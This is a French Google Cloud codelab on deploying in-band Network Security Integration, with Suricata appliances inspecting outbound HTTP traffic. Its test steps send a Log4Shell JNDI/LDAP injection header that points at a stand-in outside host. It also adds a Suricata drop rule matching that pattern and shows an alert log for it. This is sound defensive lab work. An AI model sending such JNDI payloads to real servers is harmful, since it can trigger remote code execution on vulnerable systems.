1. Introduction
Intégration de la sécurité réseau
L'intégration de la sécurité réseau (NSI) offre une flexibilité permettant d'améliorer la sécurité réseau de vos charges de travail. Vous pouvez utiliser un appliance spécialement conçu par un éditeur de logiciels indépendant (ISV) tiers ou un moteur d'inspection approfondie des paquets (DPI) pour inspecter la charge utile. Pour permettre une intégration fluide avec ces appliances tierces, Google Cloud facilite le déploiement transparent des appliances sans aucune modification du réseau ni du routage.
Google Cloud propose deux types d'intégration de la sécurité réseau : hors bande et dans la bande. Cet atelier vous guidera dans le déploiement de l'intégration de la sécurité réseau intrabande.
Intégration de la sécurité réseau en bande
L'intégration de la sécurité réseau fournit une intégration intrabande à l'aide de la technologie d'interception de paquets, qui vous permet de placer des appliances réseau tierces sur le chemin du trafic réseau pour une inspection transparente des charges de travail Google Cloud. Ce processus utilise l'encapsulation de la virtualisation réseau générique (GENEVE) pour transporter les paquets de manière sécurisée vers l'appliance sans modifier les adresses IP source et de destination d'origine.
L'intégration intrabande offre une approche axée sur les services pour déployer et consommer des appliances réseau inline tierces en mode bump-in-the-wire. En tant que producteur de services, vous pouvez publier un ensemble évolutif d'appliances réseau tierces en tant que déploiement d'interception. En tant que consommateur de services, vous pouvez utiliser les règles et les stratégies Cloud Next Generation Firewall pour sélectionner précisément le trafic à rediriger de manière transparente vers un point de terminaison d'interception local à des fins d'inspection.

Figure 1. Architecture de déploiement de haut niveau du service d'intégration dans la bande
Pour en savoir plus sur l'intégration en bande de NSI, consultez la présentation de l'intégration en bande.
Producteur de services intégré
Les producteurs de services sont les emplacements où les appliances tierces sont déployées et gérées. Cette tâche peut être gérée par une personne de votre organisation (équipe de sécurité, etc.) ou par un fournisseur externe. Les producteurs enregistrent leurs machines virtuelles, qui peuvent être des appliances tierces, en tant que backends d'un équilibreur de charge réseau passthrough interne dans leur réseau VPC. Ces appliances inspectent le trafic réseau qui leur est redirigé. Les producteurs de services créent ensuite des déploiements d'interception, une ressource zonale qui pointe vers la règle de transfert de l'équilibreur de charge réseau passthrough interne.
Un déploiement d'interception est une ressource zonale qui représente le service d'inspection du producteur pour une zone spécifique. Les producteurs créent des déploiements d'interception pour chaque zone dans laquelle ils ont déployé leurs VM.
Un groupe de déploiement d'interception est une ressource globale, à l'échelle du projet, qui permet aux clients de se connecter aux services d'inspection d'un producteur. Les producteurs créent un groupe de déploiement d'interception pour regrouper plusieurs déploiements d'interception zonaux. Les producteurs utilisent IAM pour contrôler les consommateurs autorisés à se connecter à leur groupe de déploiement.
Pour en savoir plus, consultez les pages Présentation des groupes de déploiement d'interception et Présentation des déploiements d'interception.
Client de service intégré
Les consommateurs de services utilisent les services d'inspection proposés par les producteurs. Les consommateurs spécifient les VPC qu'ils souhaitent inspecter et le producteur concerné. Pour ce faire, les clients créent un groupe de points de terminaison d'interception, une ressource globale qui représente leur côté de la relation producteur-client, et associent le groupe de points de terminaison d'interception au groupe de déploiement d'interception du producteur.
Pour associer le groupe de points de terminaison d'interception aux VPC à partir desquels ils souhaitent que le trafic soit inspecté, les consommateurs créent une association de groupe de points de terminaison d'interception. Pour sélectionner le trafic à envoyer au producteur pour inspection, les consommateurs créent et utilisent des stratégies de pare-feu réseau. Les consommateurs créent un groupe de profils de sécurité contenant un profil de sécurité qui fait référence à leur groupe de points de terminaison d'interception. Les consommateurs créent ensuite une règle de pare-feu pour rediriger le trafic correspondant à des critères spécifiques vers les appliances du producteur.
Même si le groupe de points de terminaison d'interception(IEG) est une ressource au niveau du projet, l'IEG et l'association IEG ne doivent pas nécessairement se trouver dans le même projet. Une IEG peut être référencée par une association IEG à partir d'autres projets de votre organisation. Il représente le côté consommateur de la relation producteur-consommateur. Les consommateurs créent un groupe de points de terminaison d'interception pour utiliser le service d'inspection d'un producteur. Chaque groupe de points de terminaison d'interception côté consommateur est associé à un seul groupe de déploiement d'interception côté producteur.
Pour en savoir plus, consultez Présentation des groupes de points de terminaison d'interception et des associations.
Les consommateurs doivent créer une règle de stratégie de pare-feu pour rediriger le trafic vers leur groupe de points de terminaison d'interception. Les consommateurs peuvent spécifier les critères de correspondance dans la règle du règlement de pare-feu, ce qui leur permet de définir le trafic à inspecter par les appliances du producteur.
Les consommateurs créent un profil de sécurité d'interception personnalisé pour spécifier le groupe de points de terminaison d'interception à utiliser pour inspecter le trafic.
Les consommateurs créent un groupe de profils de sécurité pour définir un groupe de fonctionnalités d'inspection de sécurité à appliquer à un sous-ensemble spécifique de trafic. Un groupe de profils de sécurité contient un seul profil de sécurité d'interception personnalisé.
Objectifs de l'atelier

Figure 2. Architecture de déploiement de haut niveau pour cet atelier de programmation
Pour simplifier cet atelier de programmation, vous utiliserez un seul projet et créerez deux réseaux VPC. Vous gérerez également un certain nombre de ressources réseau et de sécurité. Dans cet atelier, vous allez découvrir comment déployer l'intégration de services réseau en bande avec un appliance tiers pour l'insertion transparente de la sécurité.
Les flux à inspecter seront sélectionnés à l'aide des paramètres de correspondance du pare-feu cloud, y compris le quintuplet (adresse IP source, adresse IP de destination, protocole, port source, port de destination). Pour simplifier cet atelier, vous allez inspecter tout le trafic de sortie sur le port TCP 80.
Le producteur autorisera l'entrée à partir de l'adresse IP de la passerelle du sous-réseau VPC du producteur (10.0.0.1/32) pour les paquets UDP avec le port de destination 6081, qui est le port bien connu pour GENEVE.
L'état final de la base de règles de la stratégie de pare-feu réseau ressemblera au tableau ci-dessous :
Règles du réseau de producteurs :
Priorité | Sens | Protocole | Cible | Source | Destination | Port de destination | Action |
100 | Entrée | Tout | Tout | Vérifications de l'état | Tous | Tout | Autoriser |
200 | Entrée | Tout | Tout | IAP | Tous | Tout | Autoriser |
300 | Entrée | UDP | Tout | 10.0.0.1/32 | Tous | 6081 | Autoriser |
Règles relatives au réseau des consommateurs :
Priorité | Sens | Protocole | Cible | Source | Destination | Port de destination | Action |
200 | Entrée | TCP | Tout | IAP | Tous | 22 | Autoriser |
800 | Sortie | TCP | Tout | Tout | Tous | 80 | Intercepter |
Points abordés
- Déployer l'intégration de la sécurité réseau en bande
Prérequis
- Organisation et projet Google Cloud
- Autorisations IAM appropriées
- Connaissances sur le déploiement d'instances et la configuration de composants réseau
- Connaissances sur la configuration du pare-feu de la stratégie réseau
2. Avant de commencer
Rôles et autorisations IAM
Pour suivre l'atelier de programmation sur l'intégration de la sécurité réseau en bande (NSI), vous aurez besoin des rôles IAM suivants :
- Administrateur de réseaux Compute (
roles/compute.networkAdmin) : requis pour créer et gérer les réseaux VPC, les sous-réseaux, les routeurs Cloud Router, les passerelles NAT et les services de backend d'équilibreur de charge. - Administrateur de sécurité Compute (
roles/compute.securityAdmin) : nécessaire pour créer, configurer et associer des règles et des stratégies de pare-feu réseau mondiales. - Administrateur d'instance Compute (
roles/compute.instanceAdmin.v1) : requis pour déployer les appliances Suricata et les VM de test des consommateurs, s'y connecter en SSH et, à terme, les supprimer. - Administrateur de déploiement d'interception (
roles/networksecurity.interceptDeploymentAdmin) : utilisé par le producteur pour créer et gérer les déploiements d'interception zonaux et le groupe de déploiement global. - Administrateur de point de terminaison d'interception (
roles/networksecurity.interceptEndpointAdmin) : utilisé par le consommateur pour créer des groupes de points de terminaison d'interception et les associer à son réseau VPC. - Utilisateur du déploiement d'interception (
roles/networksecurity.interceptDeploymentUser) : requis dans le projet producteur pour accorder au consommateur l'autorisation de se connecter au groupe de déploiement du producteur. - Administrateur de profils de sécurité (
roles/networksecurity.securityProfileAdmin) : requis au niveau de l'organisation pour créer et gérer des profils de sécurité et des groupes de profils de sécurité personnalisés pour les interceptions. - Administrateur de l'utilisation des services (
roles/serviceusage.serviceUsageAdmin) : nécessaire pour activer les APInetworksecurity.googleapis.cometcompute.googleapis.comrequises pour les fonctionnalités NSI. - Lecteur de projet (
roles/viewer) : nécessaire pour récupérer la configuration du projet et les informations sur l'ascendance de l'organisation pour les variables d'environnement utilisées tout au long de l'atelier.
API Google Cloud
Veuillez vous assurer que les API Google Cloud requises sont activées dans votre projet.
Activez les API nécessaires en exécutant les commandes gcloud suivantes dans Cloud Shell.
gcloud services enable compute.googleapis.com \ networksecurity.googleapis.com \ cloudresourcemanager.googleapis.com
Créer/Mettre à jour des variables
Cet atelier de programmation utilise des $variables pour faciliter l'implémentation de la configuration gcloud dans Cloud Shell.
Dans Cloud Shell, exécutez les commandes ci-dessous en remplaçant les informations entre crochets selon vos besoins :
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zonea=[first-zone from $region] export zoneb=[second-zone from $region] export zonec=[third-zone from $region]
3. Actions du producteur
Cette section porte sur le déploiement du producteur. Cela inclut le déploiement du VPC, du dispositif virtuel de réseau tiers et de tous les composants pertinents pour l'intégration de la sécurité réseau.
Composants VPC et Cloud NAT
- Créez le VPC et le sous-réseau :
gcloud compute networks create producer-vpc --subnet-mode=custom gcloud compute networks subnets create producer-$region-subnet \ --range=10.0.0.0/24 --network=producer-vpc --region=$region
- Obtenez l'adresse IP de la passerelle du sous-réseau pour l'utiliser dans une règle de pare-feu :
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
- Créez une règle et une stratégie de pare-feu pour le VPC producteur. Ces règles de pare-feu autorisent l'entrée pour les vérifications de l'état, IAP et le trafic provenant de NSI :
gcloud compute network-firewall-policies create producer-fwpolicy \
--global
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from ilb health-check ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80 \
--direction=INGRESS \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
gcloud compute network-firewall-policies rules create 300 \
--description="allow GENEVE UDP:6081 packets from gateway" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=udp:6081 \
--direction=INGRESS \
--src-ip-ranges=$gatewayip
- Associez le VPC du producteur à la stratégie de pare-feu réseau :
gcloud compute network-firewall-policies associations create \
--firewall-policy producer-fwpolicy \
--network producer-vpc \
--name producer-fwpolicy-association \
--global-firewall-policy
- Déployez Cloud Router et Cloud NAT pour le dispositif virtuel de réseau (NVA, Network Virtual Appliance) tiers afin de télécharger les packages et mises à jour requis :
gcloud compute addresses create producer-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)") gcloud compute routers create producer-$region-cr \ --region=$region --network=producer-vpc gcloud compute routers nats create producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=producer-$region-cloudnatip
VM tierces
Pour cet atelier, vous allez déployer Suricata, un service de détection des menaces Open Source. La commande comporte un script de démarrage qui installe et configure Suricata. Il existe également des iptables qui effectuent la traduction d'adresse réseau source (SNAT) et la traduction d'adresse réseau de destination (DNAT) pour gérer les paquets GENEVE et y répondre.
- Déployez une NVA tierce dans votre première zone.
gcloud compute instances create suricata-$zonea \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.3 \
--zone $zonea \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
- Déployez une NVA tierce dans votre deuxième zone :
gcloud compute instances create suricata-$zoneb \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.4 \
--zone $zoneb \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
Composants de l'équilibreur de charge du producteur
- Créez une vérification d'état générique pour vérifier la disponibilité de votre NVA tierce :
gcloud compute health-checks create http nva-hc
- Créez un groupe d'instances non géré zonal pour chaque zone :
gcloud compute instance-groups unmanaged create producer-$zonea-uig \ --zone $zonea gcloud compute instance-groups unmanaged create producer-$zoneb-uig \ --zone $zoneb
- Ajoutez vos instances à vos groupes d'instances :
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb
Validez que vos groupes d'instances contiennent vos instances à l'aide des commandes suivantes :
gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb
Exemple de résultat :
NAME: suricata-$zonea STATUS: RUNNING NAME: suricata-$zoneb STATUS: RUNNING
- Créez un service de backend UDP interne :
gcloud compute backend-services create producer-bes \ --protocol=UDP \ --region=projects/$project_id/regions/$region \ --health-checks=projects/$project_id/global/healthChecks/nva-hc \ --load-balancing-scheme=INTERNAL
- Ajoutez les deux groupes d'instances au service de backend :
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
- Réservez des adresses IP internes pour vos règles de transfert. Chaque déploiement d'interception nécessite une règle de transfert unique :
gcloud compute addresses create producer-fr-$zonea-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.11
gcloud compute addresses create producer-fr-$zoneb-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.12
- Créez la règle de transfert pour chaque zone. Cette étape est obligatoire, car le déploiement de l'interception nécessite une règle de transfert unique :
gcloud compute forwarding-rules create producer-fr-$zonea \ --ip-protocol=UDP --address=10.0.0.11 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet gcloud compute forwarding-rules create producer-fr-$zoneb \ --ip-protocol=UDP --address=10.0.0.12 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
Composants de l'intégration de la sécurité réseau
- Créez un groupe de déploiement d'interception :
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
--location global \
--no-async \
--network producer-vpc
Vérifiez que le groupe de déploiement a bien été créé :
gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
--location global
Exemple de résultat :
createTime: '2025-01-16T06:13:48.075183628Z' name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group network: projects/$project_id/global/networks/producer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:13:50.556947138Z'
- Créez un déploiement d'interception pour chaque zone :
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
--location $zonea \
--forwarding-rule producer-fr-$zonea \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
--location $zoneb \
--forwarding-rule producer-fr-$zoneb \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
Vérifiez que les déploiements d'interception ont bien été créés :
gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
--location $zonea
gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
--location $zoneb
Exemple de résultat :
createTime: '2025-01-16T06:27:08.834875130Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:14.401072601Z' createTime: '2025-01-16T06:33:47.798469786Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:25.258447474Z'
Félicitations, vous avez terminé la configuration côté producteur. Vous allez ensuite configurer le côté consommateur pour intercepter le trafic et l'envoyer de manière transparente aux appliances tierces pour l'application.
4. Actions des consommateurs
Bien que ce lab utilise des VPC distincts dans un même projet pour plus de simplicité, dans les environnements réels, les ressources du producteur et du consommateur peuvent résider dans des projets différents, voire dans des organisations différentes.
Composants VPC et Cloud NAT
- Créez le VPC et le sous-réseau :
gcloud compute networks create consumer-vpc --subnet-mode=custom gcloud compute networks subnets create consumer-$region-subnet \ --range=192.168.0.0/24 --network=consumer-vpc --region=$region
- Créez le routeur Cloud Router et la passerelle Cloud NAT :
gcloud compute addresses create consumer-$region-cloudnatip \
--region=$region
export cloudnatip=$(gcloud compute addresses list \
--filter=name:consumer-$region-cloudnatip \
--format="value(address)")
gcloud compute routers create consumer-$region-cr \
--region=$region \
--network=consumer-vpc
gcloud compute routers nats create consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region \
--nat-all-subnet-ip-ranges \
--nat-external-ip-pool=consumer-$region-cloudnatip
Groupe et association de points de terminaison d'interception
- Créez un groupe de points de terminaison d'interception :
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
--location global \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
Vérification de la création du point de terminaison :
gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
--location global
Exemple de résultat :
createTime: '2025-01-16T06:37:10.620185836Z' interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group reconciling: false state: ACTIVE updateTime: '2025-01-16T06:37:22.707994466Z'
- Créez une association de groupe de points de terminaison d'interception en spécifiant le VPC du consommateur :
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
--location global \
--network consumer-vpc \
--no-async \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
Valider :
gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
--location global
Exemple de résultat :
createTime: '2025-01-16T06:40:21.125202733Z' interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group locations: - location: $zonea state: ACTIVE - location: $zoneb state: ACTIVE name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc network: projects/$project_id/global/networks/consumer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:40:56.085493855Z'
Profil de sécurité et groupe de profils de sécurité
Vous allez ensuite créer un profil de sécurité personnalisé pour l'interception et l'associer au groupe de profils de sécurité. Le profil de sécurité et le groupe de profils de sécurité sont utilisés pour l'interception de paquets pour les appliances tierces.
- Créez un profil de sécurité personnalisé pour l'interception :
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
--organization $org_id \
--location global \
--billing-project $project_id \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
Vérifiez que le profil de sécurité a bien été créé :
gcloud network-security security-profiles custom-intercept \ describe nsi-intercept-profile \ --organization=$org_id \ --location=global
Exemple de résultat :
{
"createTime": "2025-01-16T20:25:21.545756039Z",
"customInterceptProfile": {
"interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
},
"etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
"name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
"type": "CUSTOM_INTERCEPT",
"updateTime": "2025-01-16T20:25:24.101764860Z"
}
- Créez un groupe de profils de sécurité :
gcloud network-security security-profile-groups create nsi-spg \ --custom-intercept-profile=nsi-intercept-profile \ --organization=$org_id \ --project=$project_id \ --location=global
Vérifiez que le groupe de protection de service a bien été créé :
gcloud network-security security-profile-groups describe nsi-spg \
--organization $org_id \
--billing-project $project_id \
--location global
Exemple de résultat :
"createTime": "2025-01-16T20:31:23.545946850Z", "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile", "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0", "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg", "updateTime": "2025-01-16T20:31:27.588870973Z"
Stratégie, règles et association de pare-feu
- Créez une stratégie de pare-feu de réseau au niveau mondial :
gcloud compute network-firewall-policies create consumer-fwpolicy \
--global
- Créez les règles de pare-feu :
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=consumer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
- Créez la règle de pare-feu pour intercepter tout le trafic sortant à l'aide de NSI afin de l'envoyer de manière transparente à notre appliance tierce. Cette règle enverra tout le trafic sortant TCP:80 pour inspection.
gcloud compute network-firewall-policies rules create 800 \
--action APPLY_SECURITY_PROFILE_GROUP \
--firewall-policy consumer-fwpolicy \
--security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
--direction EGRESS \
--layer4-configs tcp:80 \
--dest-ip-ranges 0.0.0.0/0 \
--global-firewall-policy
- Associez la stratégie de pare-feu cloud au réseau VPC :
gcloud compute network-firewall-policies associations create \
--firewall-policy consumer-fwpolicy \
--network consumer-vpc \
--name consumer-fwpolicy-association \
--global-firewall-policy
VM grand public
- Déployez les VM utilisées pour valider la NSI. Vous allez déployer trois VM dans trois zones. Rappelez-vous que la fonctionnalité NSI n'est activée que pour deux zones, et non pour $zonec.
gcloud compute instances create consumer-$zonea \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.3 \ --no-address \ --zone $zonea gcloud compute instances create consumer-$zoneb \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.4 \ --no-address \ --zone $zoneb gcloud compute instances create consumer-$zonec \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.5 \ --no-address \ --zone $zonec
Tester l'intégration de la sécurité réseau en bande
- Connectez-vous en SSH à la VM dans $zonea (consumer-$zonea). Envoyez du trafic de test :
gcloud compute ssh consumer-$zonea \ --zone $zonea
- Envoyez du trafic de test vers http://www.google.com :
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Résultat attendu :
200
Le code d'état HTTP 200 indique que la requête du client a bien été reçue, comprise et traitée par le serveur.
- Envoyez des requêtes log4j qui devraient être bloquées par Suricata via NSI.
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Résultat attendu :
000
Le code de réponse HTTP 000 est un code non officiel et non standard utilisé par certains logiciels pour indiquer qu'aucun code d'état HTTP valide n'a été reçu. Cela signifie probablement que la requête a été bloquée par le pare-feu.
- Revenez à Cloud Shell en quittant la session SSH.
exit
- Se connecter en SSH à la VM dans $zoneb (consumer-$zoneb)
gcloud compute ssh consumer-$zoneb \ --zone $zoneb
- De même, envoyez du trafic de test :
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Résultat attendu :
200
- Envoyez une requête log4j :
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Résultat attendu :
000
- Revenez à Cloud Shell en quittant la session SSH.
exit
- Se connecter en SSH à la VM dans $zonec (consumer-$zonec)
gcloud compute ssh consumer-$zonec \ --zone $zonec
- De même, envoyez du trafic de test :
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Résultat attendu :
200
- Envoyez une requête log4j :
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Résultat attendu :
200
Notez que cette demande a été traitée. Ce comportement est normal, car vous n'avez pas configuré NSI avec $zonec. Le groupe de points de terminaison d'interception ne comporte que des associations pour $zonea et $zoneb.
- Revenez à Cloud Shell en quittant la session SSH.
exit
Valider que Suricata a reçu et bloqué les requêtes malveillantes
- Connectez-vous en SSH à la VM Suricata dans $zonea (suricata-$zonea) pour vérifier les journaux :
gcloud compute ssh suricata-$zonea \ --zone $zonea
- Affichez les journaux en filtrant sur le type d'attaque :
cat /var/log/suricata/eve.json | grep log4j
Il est possible que des entrées s'affichent. Si aucune entrée ne s'affiche, consultez les journaux de la VM Suricata dans $zoneb. Exemple de résultat :
{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
- Revenez à Cloud Shell en quittant la session SSH.
exit
Vous pouvez éventuellement vous connecter en SSH à la VM Suricata dans $zoneb (suricata-$zoneb) et valider les journaux.
gcloud compute ssh suricata-$zoneb \ --zone $zoneb
Affichez les journaux en filtrant sur le type d'attaque :
cat /var/log/suricata/eve.json | grep log4j
Exemple de résultat :
